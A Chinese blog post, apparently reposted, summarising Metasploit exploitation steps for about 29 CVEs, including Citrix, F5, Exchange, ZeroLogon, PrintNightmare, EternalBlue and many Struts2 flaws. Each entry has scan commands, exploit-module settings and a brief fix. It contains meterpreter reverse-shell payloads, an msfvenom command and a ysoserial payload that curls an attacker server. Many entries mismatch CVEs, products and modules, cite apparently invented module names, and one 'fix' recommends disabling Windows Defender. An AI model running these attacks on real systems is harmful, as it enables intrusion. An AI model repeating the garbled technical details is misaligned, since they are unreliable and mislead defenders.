百度360必应搜狗淘宝本站头条
外键约束 oracle唯一索引 oracleoracle的row numberoracle in 表变量oracle导出dmp导出
当前位置：网站首页 > 技术资源 > 正文

msf提权漏洞利用最全总结

moboyou 2025-04-10 23:05 8 浏览

最近在重构安全体系，顺带对msf可以利用的漏洞进行了一些总结，喜欢我的朋友请关注并收藏。


2.2.2.1CVE-2019-19781 Citrix漏洞

（1）漏洞检测或者扫描方法：

使用Nmap或Metasploit的citrix_enum模块进行扫描。

# 使用Nmap扫描

nmap -p 80,443

# 使用Metasploit模块

use auxiliary/scanner/http/citrix_enum

set RHOSTS

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的citrix_adc_cve_2019_19781模块进行利用。

use exploit/linux/http/citrix_adc_cve_2019_19781

set RPORT 443

set TARGETURI /vpn/

set USERNAME

set PASSWORD

（3）详细的修复办法：

下载v11.1、v12.0以及v13.0版本的Citrix ADC和Gateway软件更新，或禁用易受攻击的目录遍历服务URL路径。

2.2.2.2CVE-2019-11510 Pulse Secure VPN漏洞

（1）使用Nmap扫描目标主机开放的443端口，也可以使用Metasploit的
http_pulsesecure_traversal模块进行扫描。

nmap --script ssl-heartbleed -p 443

use auxiliary/scanner/http/pulsesecure_traversal

（2）使用Metasploit的pulsesecure_cmd_exec模块进行利用。

use exploit/linux/http/pulsesecure_cmd_exec

set SSL true

set TARGETURI /dana-na/../vpns/portal/scripts/newbm.pl

（3）漏洞修复

使用Pulse Secure发布的最新软件更新修补此漏洞，还需同时修改密码和密钥，以增强安全性。

2.2.2.3CVE-2020-5902 F5 BIG-IP漏洞

（1）使用Nmap扫描目标主机开放的443端口，也可以使用Metasploit的http_f5_bigip_check模块进行扫描。

# 使用Nmap扫描

nmap -p 443 --script http-vuln-cve2020-5902

# 使用Metasploit模块

use auxiliary/scanner/http/http_f5_bigip_check

set RHOSTS

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的f5_bigip_tmsh_rce模块进行利用。

use exploit/unix/http/f5_bigip_tmsh_rce

set RHOSTS

set RPORT 443

set TARGETURI /tmsh/tmshCmd.jsp

run

（3）详细的修复办法：

立即升级到最新版本的BIG-IP软件，最新版本中包含了对此漏洞的修补。

2.2.2.4CVE-2021-21972 VMware vSphere Client漏洞

使用Nmap扫描目标主机，检查TCP 443端口是否开放。也可以使用Metasploit的vmware_vcenter_login模块进行扫描。

# 使用Nmap扫描

nmap -p 443 --script http-vuln-cve2021-22986

# 使用Metasploit模块

use auxiliary/scanner/http/f5_bigip_cookie

set RHOSTS

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的f5_bigip_restapi_rce模块进行利用。

use exploit/linux/http/f5_bigip_restapi_rce

set RHOSTS

set TARGETURI /mgmt/tm/util/bash

set PASSWORD

set USERNAME

run

（3）详细的修复办法：

立即升级F5 BIG-IP软件的最新版本，另外，管理员还要加强密码策略和网络安全设置。

2.2.2.5CVE-2021-26855 Exchange漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机，检查TCP 443端口是否开放。也可以使用Metasploit的http_enum模块进行扫描。

# 使用Nmap扫描

nmap -p 443 --script ssl-heartbleed

# 使用Metasploit模块

use auxiliary/scanner/http/http_enum

set RHOSTS

set RPORT 443

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
microsoft_exchange_server_proxylogon模块进行利用。

use exploit/windows/http/microsoft_exchange_server_proxylogon

set RHOSTS

set USERNAME

set PASSWORD

set PAYLOAD windows/x64/meterpreter/reverse_tcp

run

（3）详细的修复办法：

立即升级Exchange软件的最新版本，或使用Microsoft发布的补丁来修复此漏洞。

2.2.2.6CVE-2020-1472 ZeroLogon漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机开放的SMB服务端口，如果开放了445或139端口，则可能存在此漏洞。也可以使用Metasploit中的smb_version模块进行扫描。

# 使用Nmap扫描

nmap -p 445,139 --script smb-vuln-ms17-010

# 使用Metasploit模块

use auxiliary/scanner/smb/smb_version

set RHOSTS

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的cve_2020_1472_zerologon模块进行利用。

use exploit/windows/smb/cve_2020_1472_zerologon

set RHOSTS

set SMBDomain

set SMBUser

set SMBPass

run

（3）详细的修复办法：

使用Microsoft发布的补丁修复此漏洞，或者将DCs升级到最新版本。

2.2.2.7CVE-2021-34527 PrintNightmare漏洞

（1）漏洞检测或者扫描方法：

使用PowerShell脚本进行检测：

Get-SmbShare | ForEach-Object { Get-Acl $_.Name | ForEach-Object { $_.Access } } | Where-Object IdentityReference -match 'Everyone|BUILTIN\\Users' | Select-Object FileSystemRights, IdentityReference, AccessControlType, IsInherited | Format-List

使用Microsoft提供的补丁测试工具进行漏洞检测：

# Windows Server 2019/Windows 10 Version 1809 or later

.\RPT-Test.exe -Target -UntrustedFile \\path\to\payload.dll

# Windows Server 2012/Windows 8 through earlier versions

.\RPT-Test.exe -Target -UntrustedFile \\path\to\payload.dll -VerifySignature 0

（2）漏洞详细利用方法及步骤参考：

使用PowerShell脚本进行利用：

$code = @'

using System;

using System.Runtime.InteropServices;


public class HelloWorld {

public static void Main() {

string cmd = "calc.exe";

NativeMethods.WinExec(cmd, 0);

}

}


internal static class NativeMethods {

[DllImport("kernel32")]

public static extern int WinExec(string cmd, int nCmdShow);

}

'@

Add-Type $code

[HelloWorld]::Main()

使用Metasploit的windows/local/ntprint_smb模块进行利用：

use exploit/windows/local/ntprint_smb

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST

set RHOSTS

run

（3）详细的修复办法：

Microsoft已经发布了安全更新程序，建议用户尽快升级到最新版并关闭Windows打印机共享服务。此外，也可以通过策略或命令行的方式禁用Windows打印机共享服务，或者限制用户对打印机共享的访问来减少攻击面。

2.2.2.8 CVE-2021-21985 vSphere Client漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机是否开放了443端口，也可以使用Metasploit的
vmware_vcenter_upload_file模块进行扫描。

# 使用Nmap扫描

nmap -p 443 --script http-vuln-cve2021-21985

# 使用Metasploit模块

use auxiliary/scanner/http/vmware_vcenter_upload_file

set RHOSTS

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的vmware_vcenter_server_rce模块进行利用。

use exploit/linux/http/vmware_vcenter_server_rce

set RHOSTS

set USERNAME

set PASSWORD

run

（3）详细的修复办法：

VMware官方发布了vCenter Server 6.7 U3j、7.0 U2c和7.0 Update 2e版本的更新程序来修复此漏洞，管理员可以下载并安装最新版本的软件来修补此漏洞。

2.2.2.9 CVE-2021-31166 IIS漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机的HTTP服务，也可以使用Metasploit的
http_iis_webdav_upload_asp模块进行扫描。

# 使用Nmap扫描

nmap -p80 --script http-vuln-cve2021-31166

# 使用Metasploit模块

use exploit/windows/http/iis_webdav_upload_asp

set RHOSTS

set RPORT 80

set SSL false

set TARGETURI /webdav/test.txt

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的http_iis_webdav_payload模块进行利用。

use exploit/windows/http/iis_webdav_payload

set RHOSTS

set VHOST

set LHOST

run

（3）详细的修复办法：

下载并安装最新版本的IIS软件更新来修补此漏洞，或者在服务器上禁用WebDAV协议。

2.2.2.10 CVE-2021-1636 Windows Defender漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机是否开放了Windows Defender的远程管理端口5985，也可以使用Metasploit的
windows/local/ms-windefender-bypass模块进行扫描。

# 使用Nmap扫描

nmap -p 5985

# 使用Metasploit模块

use exploit/windows/local/ms-windefender-bypass

set LPORT

set PAYLOAD windows/x64/meterpreter/reverse_tcp

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
windows/local/ms-windefender-bypass-exe模块进行利用。

use exploit/windows/local/ms-windefender-bypass-exe

set LHOST

set LPORT

set PAYLOAD windows/x64/meterpreter/reverse_tcp

run

（3）详细的修复办法：

立即安装微软发布的最新累积更新，或者手动禁用Windows Defender。

2.2.2.11 CVE-2021-22893 Fortinet SSL VPN漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机是否开放了Fortinet SSL VPN的HTTPS服务，也可以使用Metasploit的http_fortinet_upload_exec模块进行扫描。

# 使用Nmap扫描

nmap -p 443 --script ssl-heartbleed

# 使用Metasploit模块

use auxiliary/scanner/http/fortinet_upload_exec

set RHOSTS

set RPORT 443

set SSL true

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
fortinet_sslvpn_webauth_form_cmd_exec模块进行利用。

use exploit/windows/http/fortinet_sslvpn_webauth_form_cmd_exec

set RHOSTS

set RPORT 443

set TARGETURI /remote/login?lang=en

set SSL true

run

（3）详细的修复办法：

将Fortinet SSL VPN升级到最新版本并检查配置是否正确，确保安装了所有推荐的组件和补丁。

CVE-2021-21972 vSphere Client漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机是否开放了443端口，也可以使用Metasploit的
vmware_vcenter_cve_2021_21972模块进行扫描。

# 使用Nmap扫描

nmap -p 443 --script http-vuln-cve2021-21972

# 使用Metasploit模块

use auxiliary/scanner/http/vmware_vcenter_cve_2021_21972

set RHOSTS

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
vmware_vcenter_js_fckeditor模块进行利用。

use exploit/linux/http/vmware_vcenter_js_fckeditor

set RHOSTS

set TARGETURI /fckeditor/editor/filemanager/connectors/test.html

run

（3）详细的修复办法：

立即升级vCenter Server，vSphere Client和ESXi软件，或者使用VMware发布的补丁并重新部署系统。

2.2.2.12 CVE-2021-21979 vCenter Server漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机是否开放了443端口，也可以使用Metasploit的
vmware_vcenter_cve_2021_21979模块进行扫描。

# 使用Nmap扫描

nmap -p 443 --script http-vuln-cve2021-21979

# 使用Metasploit模块

use auxiliary/scanner/http/vmware_vcenter_cve_2021_21979

set RHOSTS

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
vmware_vcenter_server_appliance_rce模块进行利用。

use exploit/linux/http/vmware_vcenter_server_appliance_rce

set RHOSTS

set TARGETURI /ui/h5-vsan/rest/proxy/service/&vsanQueryUtil.getDiagnosticFileContents=1?path=/var/log/vmware/vsan-health/*

run

（3）详细的修复办法：

下载并安装VMware发布的最新版本的软件更新，或者使用VMware发布的补丁修复此漏洞。

2.2.2.13 CVE-2021-22879 SonicWall VPN漏洞

1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机是否开放了SonicWall VPN的HTTP端口，也可以使用Metasploit的http_sonicwall_sslvpntest模块进行扫描。

# 使用Nmap扫描

nmap -p 443,8443 --script http-vuln-cve2021-20016

# 使用Metasploit模块

use auxiliary/scanner/http/sonicwall_sslvpntest

set RHOSTS

set RPORT 443

set SSL true

run

2）漏洞详细利用方法及步骤参考：

使用Metasploit的sonicwall_netextender_rce模块进行利用。

use exploit/linux/http/sonicwall_netextender_rce

set RHOSTS

set RPORT 443

set SSL true

run

3）详细的修复办法：

下载并安装最新版本的SonicWall NetExtender客户端，或者升级到最新版本的SonicWall SMA和Firewall软件。

2.2.2.14 CVE-2017-0144 EternalBlue漏洞

（1）漏洞检测或者扫描方法：

使用Nmap进行端口扫描，或使用Metasploit的ms17_010_eternalblue模块进行扫描。

使用Nmap扫描

nmap -sV --script smb-vuln-ms17-010

使用Metasploit模块

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS

set SMBPIPE

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的windows/shell/reverse_tcp模块进行反向Shell连接。

use exploit/multi/handler

set PAYLOAD windows/shell/reverse_tcp

set LHOST

set LPORT

run

（3）详细的修复办法：

立即安装微软发布的最新安全更新或累积更新，或禁用不必要的SMBv1协议。

2.2.2.15 CVE-2019-18935 Citrix ADC漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机是否存在Citrix ADC，或使用Citrix提供的cxcheck.c脚本进行单个主机扫描。

使用Nmap扫描

nmap -p 80,443

使用cxcheck.c脚本进行单个主机扫描

gcc cxcheck.c -lpthread -o cxcheck

./cxcheck

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
citrix_adc_cve_2019_19781_directory_traversal模块进行利用。

use auxiliary/scanner/http/citrix_adc_cve_2019_19781_directory_traversal

set RHOSTS

set SRVHOST

run

（3）详细的修复办法：

下载并安装Citrix发布的安全更新补丁，或通过网络隔离等措施进行防范。

2.2.2.16CVE-2020-14750 Oracle WebLogic Server漏洞

（1）漏洞检测或者扫描方法：

使用Nmap扫描目标主机是否存在Oracle WebLogic Server，或使用Metasploit的http_weblogic_ssrf_exec模块进行扫描。

使用Nmap扫描

nmap -p 7001,7002 --script=oracle-tns-version

使用Metasploit模块

use exploit/multi/http/weblogic_ssrf

set RHOSTS

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/weblogic_ssrf_advise_poc模块进行利用。

use exploit/multi/http/weblogic_ssrf_advise_poc

set RHOSTS

run

（3）详细的修复办法：

下载并安装Oracle发布的最新安全更新补丁，或通过网络隔离等措施进行防范，如配置WebLogic防火墙、禁用未使用的组件等措施。同时，建议实现强身份验证，并将系统域名与其他软件绑定在一起以保护WebLogic服务器，避免利用URL入侵漏洞。

2.2.2.17 CVE-2020-0796 SMBv3 Ghost漏洞

（1）漏洞检测或者扫描方法：

使用Nmap进行端口扫描，或使用Metasploit的smb2_compression_zero模块进行扫描。

使用Nmap扫描

nmap -p 445 --script smb-vuln-ms17-010,smb-vuln-cve2020-0796

使用Metasploit模块

use auxiliary/scanner/smb/smb2_compression_zero

set RHOSTS

set RPORT 445

run

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
windows/smb/smbv3_client_reliable_dialect_leak模块进行利用。

use exploit/windows/smb/smbv3_client_reliable_dialect_leak

set RHOSTS

set SMBPIPE

run

（3）详细的修复办法：

尽快安装微软发布的补丁，禁用不必要的SMBv3协议或进行防火墙限制，以及限制网络流量从外部接入。

2.2.2.18 Shiro反序列化漏洞（CVE-2020-13933）

（1）漏洞检测或扫描方法：

使用ysoserial工具生成payload，发送到目标Shiro服务器并观察是否触发了漏洞。

使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsCollections1 "curl yourserver.com/xxx"|base64

发送payload到目标服务器并观察是否触发漏洞

（2）漏洞详细利用方法及步骤参考：

使用msfvenom生成payload，然后使用Metasploit的
multi/http/shiro_default_password_exec模块进行利用。

使用msfvenom生成payload

msfvenom -p java/meterpreter/reverse_tcp LHOST= LPORT= -o payload.bin

使用Metasploit的模块进行攻击

use exploit/multi/http/shiro_default_password_exec

set RHOSTS

set TARGETURI /xxx

set PAYLOADFILE payload.bin

run

（3）详细的修复办法：

升级Apache Shiro版本，禁止使用未授权的功能。

2.2.2.19 Struts2-032远程代码执行漏洞（CVE-2016-3087）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -p 80,443 --script http-vuln-struts2

使用Struts2-Scan脚本

python struts-pwn.py -u http:///index.action -c "command"

struts-pwn：https://github.com/mazen160/struts-pwn

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts2_code_exec_showcase模块进行利用。

use exploit/multi/http/struts2_code_exec_showcase

set RHOSTS

set TARGETURI /struts2-showcase/

run

（3）详细的修复办法：

升级至最新版本的Struts2，禁用不必要的功能，过滤用户输入数据。

2.2.2.20 Struts2-045远程代码执行漏洞（CVE-2017-5638）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -sV --script http-vuln-cve2017-5638

使用Struts2-Scan脚本

python struts-pwn-CVE-2017-5638.py -u http:///index.action -c "command"

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts2_content_type_ognl模块进行利用。

use exploit/multi/http/struts2_content_type_ognl

set RHOSTS

set TARGETURI /struts2-showcase/

run

（3）详细的修复办法：

升级至最新版本的Struts2，限制上传文件类型，加强日志监控。

2.2.2.21 Struts2-053远程代码执行漏洞（CVE-2017-5638）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -sV --script http-vuln-cve2017-5638

使用Struts2-Scan脚本

python struts-pwn_CVE-2017-5638.py -u http:///index.action -c "command"

Struts2-Scan：https://github.com/lazym0nk3y/Struts2-Scan

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts2_content_type_ognl模块进行利用。

use exploit/multi/http/struts2_content_type_ognl

set RHOSTS

set TARGETURI /struts2-showcase/

run

（3）详细的修复办法：

升级至最新版本的Struts2，限制上传文件类型，加强日志监控。

2.2.2.22 Struts2-061远程代码执行漏洞（CVE-2020-17530）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -sV --script http-vuln-cve2020-17530

使用Struts2-Scan脚本

python3 Struts2_061_scanner.py -u http:/// -c "touch hack.txt"

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/linux/http/struts2_namespace_ognl模块进行利用。

use exploit/linux/http/struts2_namespace_ognl

set RHOSTS

set TARGETURI /struts2-showcase/

run

（3）详细的修复办法：

升级至最新版本的Struts2，加强输入校验和过滤，限制系统命名空间。

2.2.2.23 Struts2-016远程代码执行漏洞（CVE-2013-2251）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -p 80,443 --script http-vuln-struts2

使用Struts2-Scan脚本

python struts-pwn-CVE-2013-2251.py -u http:///index.action -c "command"

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts_code_exec_class模块进行利用。

use exploit/multi/http/struts_code_exec_class

set RHOSTS

set TARGETURI /struts2-showcase/example/HelloWorld.action

set CMD

run

（3）详细的修复办法：

升级至最新版本的Struts2，限制访问权限和用户输入数据，加强异常处理。

2.2.2.24 Struts2-037远程代码执行漏洞（CVE-2016-3081）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -p 80,443 --script http-vuln-struts2

使用Struts2-Scan脚本

python struts-pwn-CVE-2016-3081.py -u http:///struts2-showcase/index.action -c "command"

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts_dmi_exec模块进行利用。

use exploit/multi/http/struts_dmi_exec

set RHOSTS

set TARGETURI /struts2-showcase/

run

（3）详细的修复办法：

升级至最新版本的Struts2，禁用不必要的功能，过滤用户输入数据。此漏洞也可以通过在web.xml文件中配置一个安全过滤器来修复。

2.2.2.25 Struts2-052远程代码执行漏洞（CVE-2017-9805）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -p 80,443 --script http-vuln-struts2

使用Struts2-Scan脚本

python struts-pwn-CVE-2017-9805.py -u http:///struts2-showcase/index.action -c "command"

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts2_rest_xstream模块进行利用。

use exploit/multi/http/struts2_rest_xstream

set RHOSTS

set TARGETURI /struts2-rest-showcase/orders/

run

（3）详细的修复办法：

升级至最新版本的Struts2，禁用不必要的功能，过滤用户输入数据，限制访问权限。此漏洞也可以通过在web.xml文件中配置一个安全过滤器来修复。

2.2.2.26Struts2-013远程命令执行漏洞（CVE-2013-1966）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -p 80,443 --script http-vuln-struts2

使用Struts2-Scan脚本

python struts-pwn.py -u http:///index.action -c "command"

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts_exec_namespace_ognl模块进行利用。

use exploit/multi/http/struts_exec_namespace_ognl

set RHOSTS

set TARGETURI /struts/

run

（3）详细的修复办法：

升级至最新版本的Struts2，限制访问权限和用户输入数据，加强异常处理。同时，建议在web.xml文件中配置一个安全过滤器来缓解此漏洞的影响。

2.2.2.27 Struts2-033远程命令执行漏洞（CVE-2016-3081）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -p 80,443 --script http-vuln-struts2

使用Struts2-Scan脚本

python struts-pwn-CVE-2016-3081.py -u http:///struts2-showcase/index.action -c "command"

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts_code_exec_showcase模块进行利用。

use exploit/multi/http/struts_code_exec_showcase

set RHOSTS

set TARGETURI /struts2-showcase/

run

（3）详细的修复办法：

升级至最新版本的Struts2，加强用户输入数据的过滤和异常处理，限制访问权限。另外，建议在web.xml文件中配置安全过滤器来缓解此漏洞的影响。

2.2.2.28 Struts2-057远程代码执行漏洞（CVE-2018-11776）

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -p 80,443 --script http-vuln-struts2

使用Struts2-Scan脚本

python struts-pwn-CVE-2018-11776.py -u http:///index.action

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts2_namespace_ognl模块进行利用。

use exploit/multi/http/struts2_namespace_ognl

set RHOSTS

set TARGETURI /struts/

run

（3）详细的修复办法：

升级至最新版本的Struts2，加强用户输入数据的过滤和异常处理，限制访问权限。另外，建议在web.xml文件中配置安全过滤器来缓解此漏洞的影响。

2.2.2.29 Struts2-devmode远程代码执行漏洞

（1）漏洞检测或扫描方法：

使用Nmap和Struts2-Scan脚本进行扫描。

使用Nmap扫描

nmap -p 80,443 --script http-vuln-struts2

使用Struts2-Scan脚本

python struts-pwn-devmode.py -u http:///struts2-showcase/ -c "command"

（2）漏洞详细利用方法及步骤参考：

使用Metasploit的
exploit/multi/http/struts2_dev_mode模块进行利用。

use exploit/multi/http/struts2_dev_mode

set RHOSTS

set TARGETURI /struts2-showcase/

run

（3）详细的修复办法：

升级至最新版本的Struts2，加强用户输入数据的过滤和异常处理，限制访问权限。另外，建议关闭devMode或限制只有特定IP地址能够访问。

喜欢的朋友请关注并收藏，另外也可以关注我的公众号《小兵搞安全》。

相关推荐

cvpr 2024|注意力校准用于解缠结的文本到图像个性化

AttentionCalibrationforDisentangledText-to-ImagePersonalization研究背景近年来，大规模文本到图像（T2I）模型取得了显著进展，能...

1080P的显示，4K的享受?NVIDIA DSR游戏实测!

游戏玩家对画质的要求越来越高，因此每到新一代显卡推出的时候，除了游戏性能的提升之外，也会采用提升画质的新技术。NVIDIA最新的Geforce900系列显卡也不例外，一起推出的DSR技术号称可以在1...

「学习OpenCV4」OpenCV线性滤波与非线性滤波总结

本文分享内容来自图书《学习OpenCV4：基于Python的算法实战》，该书内容如下：第1章OpenCV快速入门；第2章图像读写模块imgcodecs；第3章核心库模块core；第4章...

增益映射耦合局部正则化的图像重构算法

朱莉(西安科技大学计算机学院，陕西西安710054)摘要：针对当前的图像重构方法在对多帧超分辨率图像复原时，存在明显的模糊效应与振铃效应的不足，提出增益映射控制耦合局部正则化的图像重构算法。首...

图像处理——5种常见的平滑滤波

平滑滤波是一种简单又常见的图像处理操作。平滑图像的目的有很多，但通常都是为了减少噪声和伪影。在OpenCV中共有5种平滑滤波操作，分别是以下几种：测试代码如下：#include<iostream...

C# 图像处理技术——简单的滤波去噪

在C#中，可以使用System.Drawing命名空间中的类来进行图像处理和滤波去噪操作。以下是一个示例代码，演示如何使用平均滤波器进行简单的去噪处理：usingSystem.Drawing;us...

Java，OpenCV，图像模糊，归一化均值滤波，中值滤波器，高斯模糊

图像模糊图像模糊是图像处理中最简单和常用的操作之一，其主要目的之一是给图像预处理的时候降低图像噪声。图像模糊方法可以总结如下：1、归一化均值滤波器（API为blur()）2、高斯滤波器（API为Ga...

带频偏校准的GMSK解调器设计与实现

郑婧怡1，高绍全1，姜汉钧1，张春1，王志华1，2，贾雯2（1.清华大学微电子所，北京100084；2.深圳清华大学研究院，广东深圳518055）摘要：提出了一种在零中频低功耗蓝牙接收机中使用...

图像滤波去噪方法及应用场景

在图像处理中，不同滤波方法针对不同类型的噪声和场景具有特定优势。以下是三种常见滤波器的特点和应用场景总结：1.高斯滤波（GaussianFilter）原理：基于高斯函数的加权平均，对邻域像素进行平...

多体系统动力学仿真软件(DAP)

多体系统动力学仿真软件(DAP)-北京西交智众软件科技有限公司–DAP软件简介DAP(DynamicsAnalysisPlatform)软件，源自西南交通大学沈志云院士带队轨道交通运载系统全国...

精品博文图文详解Xilinx ISE14.7 安装教程

在软件安装之前，得准备好软件安装包，可从Xilinx官网上下载：http://china.xilinx.com/support/download/index.html/content/xilinx/z...

酷睿 Ultra 5 和 Ultra 7，或者i5和i7差距多大?

#我来唠家常#提到ultra，我觉得看这个题目，应该主打轻薄本，或者设计本。分两个问题看：ultra7或者i7的优势，ultra相对老款处理器的优势Ultra7的最大优势是：多了2个大核心，这两个大...

直流-直流(DC-DC)变换电路

直流-直流（DC-DC）变换电路，可以将一种直流电源经过变换电路后输出另一种具有不同输出特性的直流电源，可以是一种固定电压或可调电压的直流电。按照电路拓扑结构的不同，DC-DC变换电路可以分成两种形式...

Energies CL致命错误

期刊基础信息·刊号：ISSN1996-1073·全称：Energies·影响因子：3.2·分区：Q2（能源与燃料类）·版面费：2200瑞士法郎·年发文量：约4500篇CoverLett...

基于心电脉搏信号的无创血压算法研究

洋洋，陈小惠（南京邮电大学自动化学院，江苏南京210023）摘要：针对人体血压无创检测问题，提出了一种基于心电信号（Electrocardiogram，ECG）与光电容积脉搏波（Photople...

一周热门
最近发表
标签列表
蜀ICP备2024111239号-28